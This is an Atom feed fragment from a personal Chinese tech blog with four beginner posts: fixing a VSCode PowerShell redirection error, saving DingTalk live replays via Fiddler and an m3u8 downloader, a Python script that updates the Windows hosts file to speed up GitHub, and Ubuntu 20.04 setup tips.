    </entry>
    <entry>
      <id>https://an2333.com/posts/archive/vscode_cmd/</id>
      <title type="text">“&lt;”运算符是为将来使用而保留的。报错解决方法</title>
      <published>2021-04-26T00:00:00.000Z</published>
      <updated>2021-04-26T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/archive/vscode_cmd/"/>
      <summary type="text">在 VScode 下运行犀牛书第一章的一个词频统计代码出现的报错</summary>
      <content type="html"><![CDATA[<p>在 VScode 下运行犀牛书第一章的一个词频统计代码出现的报错</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>node charfreq.js &lt; corpus.js</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>报错信息</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210426211849225.png" alt="image-20210426211849225" /><figcaption>image-20210426211849225</figcaption></figure><p></p>
<p>通过搜索发现类似问题的原因是和 VSCode 终端选择用 powershell 还是 cmd 有关。</p>
<section><h3>解决方法<a href="#解决方法"><span>#</span></a></h3><ol>
<li>
<p>打开 VSCode，在界面按快捷键<code>ctrl</code>+<code>shift</code>+<code>p</code></p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210426212641166.png" alt="image-20210426212641166" /><figcaption>image-20210426212641166</figcaption></figure><p></p>
</li>
<li>
<p>选择 cmd</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210426212721514.png" alt="image-20210426212721514" /><figcaption>image-20210426212721514</figcaption></figure><p></p>
</li>
<li>
<p>重启 VSCode</p>
</li>
<li>
<p>解决</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210426212820832.png" alt="image-20210426212820832" /><figcaption>image-20210426212820832</figcaption></figure><p></p>
</li>
</ol></section>
<section><h3>原因<a href="#原因"><span>#</span></a></h3><p>在 windows 下 win+R，输入 cmd 回车进入 cmd 后，cd 到对应目录执行</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>node charfreq.js &lt; corpus.js</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>是没问题的</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210426212052743.png" alt="image-20210426212052743" /><figcaption>image-20210426212052743</figcaption></figure><p></p><p>说明 cmd 的执行是没问题的，因此可以基本确定是 VSCode 终端默认是 powershell 的问题。改成 cmd 就行。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/archive/%E9%92%89%E9%92%89%E7%9B%B4%E6%92%AD%E4%B8%8B%E8%BD%BD/</id>
      <title type="text">钉钉直播回放下载</title>
      <published>2021-04-26T00:00:00.000Z</published>
      <updated>2021-04-26T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/archive/%E9%92%89%E9%92%89%E7%9B%B4%E6%92%AD%E4%B8%8B%E8%BD%BD/"/>
      <summary type="text">很多时候钉钉上的直播回放都是不可下载的,甚至定时删掉,这时候必须抓包下来看,下面说一下具体操作.</summary>
      <content type="html"><![CDATA[<p>很多时候钉钉上的直播回放都是不可下载的,甚至定时删掉,这时候必须抓包下来看,下面说一下具体操作.</p>
<p>使用的软件有<a href="https://pc.qq.com/detail/10/detail_3330.html" target="_blank">Fiddler</a>和<a href="http://ct.ghpym.com/file/tempdir-B2FUYAE1AWBSYAFgATBcIw85BjJSaltqDmVWNANmBDgEZgctBjVaN1FqB2hQZANhVGEFMFpiX2Y" target="_blank">N_m3u8DL-CLI</a></p>
<section><h4>首先在钉钉登录界面修改<a href="#首先在钉钉登录界面修改"><span>#</span></a></h4><img src="http://typora-an.oss-cn-hangzhou.aliyuncs.com/img/20200827135540.png" alt="image-20200827135539629" /><img src="http://typora-an.oss-cn-hangzhou.aliyuncs.com/img/20200827135557.png" alt="image-20200827135557247" /></section>
<section><h4>打开 Fiddler<a href="#打开-fiddler"><span>#</span></a></h4><ol>
<li>
<p>打开首行菜单栏 Tools &gt; Options</p>
<p></p><figure><img src="https://imgconvert.csdnimg.cn/aHR0cDovL3R5cG9yYS1hbi5vc3MtY24taGFuZ3pob3UuYWxpeXVuY3MuY29tL2ltZy8yMDIwMDgyNzEzNTgxMy5wbmc?x-oss-process=image/format,png" alt="image-20200827135813696" /><figcaption>image-20200827135813696</figcaption></figure><p></p>
</li>
<li>
<p>打开后选择 HTTPS 在其中勾选箭头部分并会安装证书</p>
<p></p><figure><img src="https://imgconvert.csdnimg.cn/aHR0cDovL3R5cG9yYS1hbi5vc3MtY24taGFuZ3pob3UuYWxpeXVuY3MuY29tL2ltZy8yMDIwMDgyNzEzNTkwNS5wbmc?x-oss-process=image/format,png" alt="image-20200827135905786" /><figcaption>image-20200827135905786</figcaption></figure><p></p>
</li>
<li>
<p>刚开始左侧会有很多东西,可以删除掉</p>
<p></p><figure><img src="https://imgconvert.csdnimg.cn/aHR0cDovL3R5cG9yYS1hbi5vc3MtY24taGFuZ3pob3UuYWxpeXVuY3MuY29tL2ltZy8yMDIwMDgyNzE0MDUyOC5wbmc?x-oss-process=image/format,png" alt="image-20200827140528497" /><figcaption>image-20200827140528497</figcaption></figure><p></p>
</li>
<li>
<p>点击拖拽首行菜单栏的这个按钮到钉钉界面,就只显示钉钉的一些请求了</p>
<p></p><figure><img src="https://imgconvert.csdnimg.cn/aHR0cDovL3R5cG9yYS1hbi5vc3MtY24taGFuZ3pob3UuYWxpeXVuY3MuY29tL2ltZy8yMDIwMDgyNzE0MDg1Ny5wbmc?x-oss-process=image/format,png" alt="image-20200827140857513" /><figcaption>image-20200827140857513</figcaption></figure><p></p>
<p></p><figure><img src="https://imgconvert.csdnimg.cn/aHR0cDovL3R5cG9yYS1hbi5vc3MtY24taGFuZ3pob3UuYWxpeXVuY3MuY29tL2ltZy8yMDIwMDgyNzE0MTAxMi5wbmc?x-oss-process=image/format,png" alt="image-20200827141012033" /><figcaption>image-20200827141012033</figcaption></figure><p></p>
</li>
<li>
<p>然后打开钉群直播,过一会左侧就会出现一堆东西,按 CTRL+F 进行搜索 .m3u8</p>
<img src="http://typora-an.oss-cn-hangzhou.aliyuncs.com/img/20200827141522.png" alt="image-20200827141522247" />
</li>
<li>
<p>对标黄的结果右键复制 url</p>
<p></p><figure><img src="https://imgconvert.csdnimg.cn/aHR0cDovL3R5cG9yYS1hbi5vc3MtY24taGFuZ3pob3UuYWxpeXVuY3MuY29tL2ltZy8yMDIwMDgyNzE0MTYwOC5wbmc?x-oss-process=image/format,png" alt="image-20200827141607966" /><figcaption>image-20200827141607966</figcaption></figure><p></p>
</li>
</ol><p>安装下来有两个 exe,打开那个有可视化界面的 N_m3u8DL-CLI-SimpleG.exe</p><p>将刚才复制的内容写入 M3U8 地址那栏 然后点击 Go</p><p></p><figure><img src="https://imgconvert.csdnimg.cn/aHR0cDovL3R5cG9yYS1hbi5vc3MtY24taGFuZ3pob3UuYWxpeXVuY3MuY29tL2ltZy8yMDIwMDgyNzE0MTg1Mi5wbmc?x-oss-process=image/format,png" alt="image-20200827141852234" /><figcaption>image-20200827141852234</figcaption></figure><p></p><p>视频就会自动下载到当前目录下的 Downloads 下了.就很棒.</p></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/archive/github%E8%AE%BF%E9%97%AE%E5%8A%A0%E9%80%9F/</id>
      <title type="text">github 加速访问——Python 代码自动化实现</title>
      <published>2021-04-11T00:00:00.000Z</published>
      <updated>2021-04-11T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/archive/github%E8%AE%BF%E9%97%AE%E5%8A%A0%E9%80%9F/"/>
      <summary type="text">使用代码前可能要修改 hosts 的权限。如果是 windows 直接运行代码就可以了.</summary>
      <content type="html"><![CDATA[<section><h2>Python 代码实现<a href="#python-代码实现"><span>#</span></a></h2><p>使用代码前可能要修改 hosts 的权限。如果是 windows 直接运行代码就可以了.</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import</span><span> re</span></div></div><div><div><div>2</div></div><div><span>import</span><span> requests</span></div></div><div><div><div>3</div></div><div><span>import</span><span> os</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>#1.若hosts中本身配置过就删除掉原来配置的。 地址是windows默认存放hosts的位置</span></div></div><div><div><div>6</div></div><div><span>with</span><span> </span><span>open</span><span>(</span><span>"C:\Windows\System32\drivers\etc\hosts"</span><span>,</span><span>"r"</span><span>,</span><span>encoding</span><span>=</span><span>"utf-8"</span><span>) </span><span>as</span><span> f:</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>lines </span><span>=</span><span> f.</span><span>readlines</span><span>()</span></div></div><div><div><div>8</div></div><div><span>    </span><span>#print(lines)</span></div></div><div><div><div>9</div></div><div><span>with</span><span> </span><span>open</span><span>(</span><span>"C:\Windows\System32\drivers\etc\hosts"</span><span>,</span><span>"w"</span><span>,</span><span>encoding</span><span>=</span><span>"utf-8"</span><span>) </span><span>as</span><span> f_w:</span></div></div><div><div><div>10</div></div><div><span>    </span><span>for</span><span> line </span><span>in</span><span> lines:</span></div></div><div><div><div>11</div></div><div><span>        </span><span>#删除包括github.com的那一行内容</span></div></div><div><div><div>12</div></div><div><span>        </span><span>if</span><span> </span><span>"github.com"</span><span> </span><span>in</span><span> line:</span></div></div><div><div><div>13</div></div><div><span>            </span><span>continue</span></div></div><div><div><div>14</div></div><div><span>        </span><span>#和上面的同理</span></div></div><div><div><div>15</div></div><div><span>        </span><span>if</span><span> </span><span>"github.global.ssl.fastly.net"</span><span> </span><span>in</span><span> line:</span></div></div><div><div><div>16</div></div><div><span>            </span><span>continue</span></div></div><div><div><div>17</div></div><div><span><span>        </span></span><span>f_w.</span><span>write</span><span>(line)</span></div></div><div><div><div>18</div></div><div>
</div></div><div><div><div>19</div></div><div><span>#2.获取域名对应的ip地址</span></div></div><div><div><div>20</div></div><div><span>#二级域名</span></div></div><div><div><div>21</div></div><div><span><span>SecondLevelDomain </span><span>=</span><span> </span></span><span>"github.com"</span></div></div><div><div><div>22</div></div><div><span><span>url1 </span><span>=</span><span> </span></span><span>"https://</span><span>{SecondLevelDomain}</span><span>.ipaddress.com/"</span><span><span>.</span><span>format</span><span>(</span></span><span>SecondLevelDomain</span><span><span>=</span><span>SecondLevelDomain)</span></span></div></div><div><div><div>23</div></div><div><span>#次级域名</span></div></div><div><div><div>24</div></div><div><span><span>SubDomain </span><span>=</span><span> </span></span><span>"assets-cdn.github.com"</span></div></div><div><div><div>25</div></div><div><span><span>url2 </span><span>=</span><span> </span></span><span>"https://</span><span>{SecondLevelDomain}</span><span>.ipaddress.com/</span><span>{SubDomain}</span><span>"</span><span><span>.</span><span>format</span><span>(</span></span><span>SecondLevelDomain</span><span><span>=</span><span>SecondLevelDomain, </span></span><span>SubDomain</span><span><span>=</span><span>SubDomain)</span></span></div></div><div><div><div>26</div></div><div><span>#大概是给github搞加速的厂商的域名fastly.net</span></div></div><div><div><div>27</div></div><div><span><span>url3 </span><span>=</span><span> </span></span><span>"https://fastly.net.ipaddress.com/github.global.ssl.fastly.net"</span></div></div><div><div><div>28</div></div><div>
</div></div><div><div><div>29</div></div><div><span>#请求链接</span></div></div><div><div><div>30</div></div><div><span><span>r1 </span><span>=</span><span> requests.</span><span>get</span><span>(url1)</span></span></div></div><div><div><div>31</div></div><div><span>r1.status_code</span></div></div><div><div><div>32</div></div><div><span><span>r1.encoding </span><span>=</span><span> </span></span><span>'utf-8'</span></div></div><div><div><div>33</div></div><div><span>#获取响应体</span></div></div><div><div><div>34</div></div><div><span><span>r1</span><span>=</span><span>r1.text</span></span></div></div><div><div><div>35</div></div><div><span># print(r1)</span></div></div><div><div><div>36</div></div><div><span><span>pattern </span><span>=</span><span> re.</span><span>compile</span><span>(</span></span><span>'https://www.ipaddress.com/ipv4/[0-9]*.[0-9]*.[0-9]*.[0-9]*'</span><span>)</span></div></div><div><div><div>37</div></div><div><span>#https://www.ipaddress.com/ipv4/140.82.113.4</span></div></div><div><div><div>38</div></div><div><span><span>res </span><span>=</span><span> pattern.</span><span>findall</span><span>(r1)</span></span></div></div><div><div><div>39</div></div><div><span><span>res </span><span>=</span><span> res[</span></span><span>0</span><span><span>].</span><span>split</span><span>(</span></span><span>"/ipv4/"</span><span>);</span><span>#切片</span></div></div><div><div><div>40</div></div><div><span><span>res1 </span><span>=</span><span> res[</span></span><span>1</span><span>];</span><span>#获取到ip地址</span></div></div><div><div><div>41</div></div><div><span><span>res1 </span><span>=</span><span> res1</span><span>+</span></span><span>" github.com"</span></div></div><div><div><div>42</div></div><div><span>print</span><span>(res1)</span></div></div><div><div><div>43</div></div><div>
</div></div><div><div><div>44</div></div><div><span><span>r2 </span><span>=</span><span> requests.</span><span>get</span><span>(url2)</span></span></div></div><div><div><div>45</div></div><div><span><span>r2.encoding </span><span>=</span><span> </span></span><span>'utf-8'</span></div></div><div><div><div>46</div></div><div><span>#获取响应体</span></div></div><div><div><div>47</div></div><div><span><span>r2</span><span>=</span><span>r2.text</span></span></div></div><div><div><div>48</div></div><div><span># print(r2)</span></div></div><div><div><div>49</div></div><div><span><span>pattern </span><span>=</span><span> re.</span><span>compile</span><span>(</span></span><span>'https://www.ipaddress.com/ipv4/[0-9]*.[0-9]*.[0-9]*.[0-9]*'</span><span>)</span></div></div><div><div><div>50</div></div><div><span>#https://www.ipaddress.com/ipv4/140.82.113.4</span></div></div><div><div><div>51</div></div><div><span><span>res </span><span>=</span><span> pattern.</span><span>findall</span><span>(r2)</span></span></div></div><div><div><div>52</div></div><div><span><span>res </span><span>=</span><span> res[</span></span><span>0</span><span><span>].</span><span>split</span><span>(</span></span><span>"/ipv4/"</span><span>);</span><span>#切片</span></div></div><div><div><div>53</div></div><div><span><span>res2 </span><span>=</span><span> res[</span></span><span>1</span><span>];</span><span>#获取到ip地址</span></div></div><div><div><div>54</div></div><div><span><span>res2 </span><span>=</span><span> res2</span><span>+</span></span><span>" assets-cdn.github.com"</span></div></div><div><div><div>55</div></div><div><span>print</span><span>(res2)</span></div></div><div><div><div>56</div></div><div>
</div></div><div><div><div>57</div></div><div><span><span>r3 </span><span>=</span><span> requests.</span><span>get</span><span>(url3)</span></span></div></div><div><div><div>58</div></div><div><span><span>r3.encoding </span><span>=</span><span> </span></span><span>'utf-8'</span></div></div><div><div><div>59</div></div><div><span>#获取响应体</span></div></div><div><div><div>60</div></div><div><span><span>r3</span><span>=</span><span>r3.text</span></span></div></div><div><div><div>61</div></div><div><span># print(r3)</span></div></div><div><div><div>62</div></div><div><span><span>pattern </span><span>=</span><span> re.</span><span>compile</span><span>(</span></span><span>'https://www.ipaddress.com/ipv4/[0-9]*.[0-9]*.[0-9]*.[0-9]*'</span><span>)</span></div></div><div><div><div>63</div></div><div><span>#https://www.ipaddress.com/ipv4/140.82.113.4</span></div></div><div><div><div>64</div></div><div><span><span>res </span><span>=</span><span> pattern.</span><span>findall</span><span>(r3)</span></span></div></div><div><div><div>65</div></div><div><span><span>res </span><span>=</span><span> res[</span></span><span>0</span><span><span>].</span><span>split</span><span>(</span></span><span>"/ipv4/"</span><span>);</span><span>#切片</span></div></div><div><div><div>66</div></div><div><span><span>res3 </span><span>=</span><span> res[</span></span><span>1</span><span>];</span><span>#获取到ip地址</span></div></div><div><div><div>67</div></div><div><span><span>res3 </span><span>=</span><span> res3</span><span>+</span></span><span>" github.global.ssl.fastly.net"</span></div></div><div><div><div>68</div></div><div><span>print</span><span>(res3)</span></div></div><div><div><div>69</div></div><div>
</div></div><div><div><div>70</div></div><div><span>#3.写入hosts文件</span></div></div><div><div><div>71</div></div><div><span><span>f</span><span>=</span></span><span>open</span><span>(</span><span>"C:\Windows\System32\drivers\etc\hosts"</span><span>,</span><span>"a"</span><span>)</span></div></div><div><div><div>72</div></div><div><span><span>f.</span><span>write</span><span>(res1</span><span>+</span></span><span>"</span><span>\n</span><span>"</span><span>)</span><span>;</span></div></div><div><div><div>73</div></div><div><span><span>f.</span><span>write</span><span>(res2</span><span>+</span></span><span>"</span><span>\n</span><span>"</span><span>)</span><span>;</span></div></div><div><div><div>74</div></div><div><span><span>f.</span><span>write</span><span>(res3</span><span>+</span></span><span>"</span><span>\n</span><span>"</span><span>)</span><span>;</span></div></div><div><div><div>75</div></div><div><span><span>f.</span><span>close</span><span>()</span></span><span>;</span></div></div><div><div><div>76</div></div><div>
</div></div><div><div><div>77</div></div><div><span>#4.刷新DNS缓存</span></div></div><div><div><div>78</div></div><div><span><span>os.</span><span>system</span><span>(</span></span><span>"ipconfig /flushdns"</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>下面是原本需要的操作。上面的操作是基于下面的理论的。</p></section>
<section><h2>1. 获取 GitHub 官方 CDN 地址<a href="#1-获取-github-官方-cdn-地址"><span>#</span></a></h2><p>链接：<a href="https://www.ipaddress.com/" target="_blank">https://www.ipaddress.com/</a></p><p>打开后界面：</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/20210411155236.png" alt="image-20210411155236706" /><figcaption>image-20210411155236706</figcaption></figure><p></p></section>
<section><h2>2. 进入后查询这三个链接的 DNS 解析地址，并记录下，后面有用<a href="#2-进入后查询这三个链接的-dns-解析地址并记录下后面有用"><span>#</span></a></h2><p>①：github.com</p><p>②：assets-cdn.github.com</p><p>③：github.global.ssl.fastly.net</p><p>分别输入上面是三个地址，以 github.com 为例</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/20210411155538.png" alt="image-20210411155538104" /><figcaption>image-20210411155538104</figcaption></figure><p></p></section>
<section><h2>3. 修改系统 Hosts 文件<a href="#3-修改系统-hosts-文件"><span>#</span></a></h2><p>打开系统 hosts 文件(需管理员权限)。
路径：C:\Windows\System32\drivers\etc</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/20210411155445.png" alt="image-20210411155445551" /><figcaption>image-20210411155445551</figcaption></figure><p></p><p>在末尾添加三行记录并保存。(需管理员权限，注意 IP 地址与域名间需留有空格)</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/20210411155345.png" alt="image-20210411155345178" /><figcaption>image-20210411155345178</figcaption></figure><p></p></section>
<section><h2>4. 刷新系统 DNS 缓存<a href="#4-刷新系统-dns-缓存"><span>#</span></a></h2><p>Windows+X 打开系统命令行（管理员身份）或 powershell</p><p>运行</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span> </span></span><span>ipconfig /flushdns</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>手动刷新系统 DNS 缓存。</p><p>到这里所有工作完毕，可以直接访问了，发现访问速度很快！</p></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/archive/ubuntu20/</id>
      <title type="text">Ubuntu20.04 简单上手及安装软件</title>
      <published>2021-02-09T00:00:00.000Z</published>
      <updated>2021-02-09T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/archive/ubuntu20/"/>
      <summary type="text">Ubuntu 20.04 的安装和上手：断网加速安装、换 apt 源、设置 root 密码、中文界面和安装软件。</summary>
      <content type="html"><![CDATA[<section><h5>下载安装 Ubuntu20.04<a href="#下载安装-ubuntu2004"><span>#</span></a></h5><p>需要先下载一个 VMware。
<a href="https://www.cnblogs.com/ubuntuanzhuang/p/ubuntu2004.html" target="_blank">ubuntu 20.04 下载及安装教程</a></p><p>完成安装正常启动后，以下是一些使用需要注意的步骤，建议按顺序完成。</p></section>
<section><h5>断网加速安装<a href="#断网加速安装"><span>#</span></a></h5><p>因为如果默认安装在联网状态下会给你装包，都是国外的，所以特别特别慢。断网后很快就能装好，然后你改了 apt 源以后安装各种包就会飞速。</p></section>
<section><h5>网络配置问题<a href="#网络配置问题"><span>#</span></a></h5><p>20.04 在使用过程中发现会有消失联网图标断网的情况，<a href="https://blog.csdn.net/lezeqe/article/details/83501723?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control&amp;depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control" target="_blank">解决办法</a></p></section>
<section><h5>换 apt 源 加速<a href="#换-apt-源-加速"><span>#</span></a></h5><p><a href="https://www.jb51.net/article/187442.htm" target="_blank">换 apt 源方法</a></p></section>
<section><h5>设置 root 密码<a href="#设置-root-密码"><span>#</span></a></h5><p>第一次使用时需要设置 root 用户以及密码(因为普通用户不加 sudo 缺少很多权限，root 相当于管理员有最高权限，进入 root 用户后原本需要加 sudo 的操作可以不用加 sudo)</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo passwd root</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p></p><figure><img src="https://img-blog.csdnimg.cn/img_convert/8b6b92603dc01422c8bfeefe3f81422c.png" alt="image-20210204153207632" /><figcaption>image-20210204153207632</figcaption></figure><p></p><p>设置完毕后，su 后输入密码进入 root 用户</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>su</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p></p><figure><img src="https://img-blog.csdnimg.cn/img_convert/638f3b3e8c43afa83ddc396111b33916.png" alt="image-20210204153330334" /><figcaption>image-20210204153330334</figcaption></figure><p></p></section>
<section><h5>界面改成中文<a href="#界面改成中文"><span>#</span></a></h5><p>界面中文可以二倍速看这个教学视频 ：<a href="https://www.bilibili.com/video/av457685711" target="_blank">视频地址</a></p><p>然后在以上的基础上添加中文输入法</p><img src="http://typora-an.oss-cn-hangzhou.aliyuncs.com/img/20210206202600.png" alt="image-20210206202600699" /><img src="http://typora-an.oss-cn-hangzhou.aliyuncs.com/img/20210206202617.png" alt="image-20210206202617613" /><img src="http://typora-an.oss-cn-hangzhou.aliyuncs.com/img/20210206202700.png" alt="image-20210206202700087" /><p></p><figure><img src="https://img-blog.csdnimg.cn/img_convert/c46cc72ea42c0a877cbaf89efed412ae.png" alt="image-20210206202747167" /><figcaption>image-20210206202747167</figcaption></figure><p></p><p>然后打开浏览器就可以输入中文了</p><img src="http://typora-an.oss-cn-hangzhou.aliyuncs.com/img/20210206203332.png" alt="image-20210206203332813" /></section>
<section><h5>设置屏幕时间<a href="#设置屏幕时间"><span>#</span></a></h5><p>设置永久不睡眠(学习用比较方便，不然需要反复去解锁)，</p><p></p><figure><img src="https://img-blog.csdnimg.cn/img_convert/9fd436303a5bbf18052d70b1751b1ddd.png" alt="image-20210206165705011" /><figcaption>image-20210206165705011</figcaption></figure><p></p></section>
<section><h5>安装软件（VScode 为例子）<a href="#安装软件vscode-为例子"><span>#</span></a></h5><p>下载安装使用 VScode</p><ol>
<li>用火狐进入 vscode 官网 进入下载页面，点击.deb 下载</li>
</ol><p></p><figure><img src="https://img-blog.csdnimg.cn/img_convert/a4f3f46487eb8be8bf908b1975566b7e.png" alt="image-20210208221815928" /><figcaption>image-20210208221815928</figcaption></figure><p></p><ol>
<li>保存文件</li>
</ol><p></p><figure><img src="https://img-blog.csdnimg.cn/img_convert/37a245d6db71726dfdf127d678333643.png" alt="image-20210209071246912" /><figcaption>image-20210209071246912</figcaption></figure><p></p><p>下载完成并打开所在文件夹。</p><p></p><figure><img src="https://img-blog.csdnimg.cn/img_convert/72114f45663419e9e119a40776136f9d.png" alt="image-20210209071317187" /><figcaption>image-20210209071317187</figcaption></figure><p></p><ol>
<li>右键在当前目录打开终端</li>
</ol><p></p><figure><img src="https://img-blog.csdnimg.cn/img_convert/e2f56d4765e450c994208643de727be6.png" alt="image-20210209071428509" /><figcaption>image-20210209071428509</figcaption></figure><p></p><p>输入命令，不同软件就是不同的<code>.deb</code>文件</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo dpkg -i code_1.53.0-1612368357_amd64.deb</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>安装成功</p><p></p><figure><img src="https://img-blog.csdnimg.cn/img_convert/d334e31789747e840e9e07ff9a73127d.png" alt="image-20210209071622767" /><figcaption>image-20210209071622767</figcaption></figure><p></p><p></p><figure><img src="https://img-blog.csdnimg.cn/img_convert/c48b389b706f56ca35c0469db11f2962.png" alt="image-20210209071742129" /><figcaption>image-20210209071742129</figcaption></figure><p></p><p></p><figure><img src="https://img-blog.csdnimg.cn/img_convert/fd1b051bda23e5f1c99f4c83178f49c6.png" alt="image-20210209071759683" /><figcaption>image-20210209071759683</figcaption></figure><p></p><p>以上就是 Ubuntu20.04 的简单上手了。</p></section>]]></content>
    </entry>
</feed>
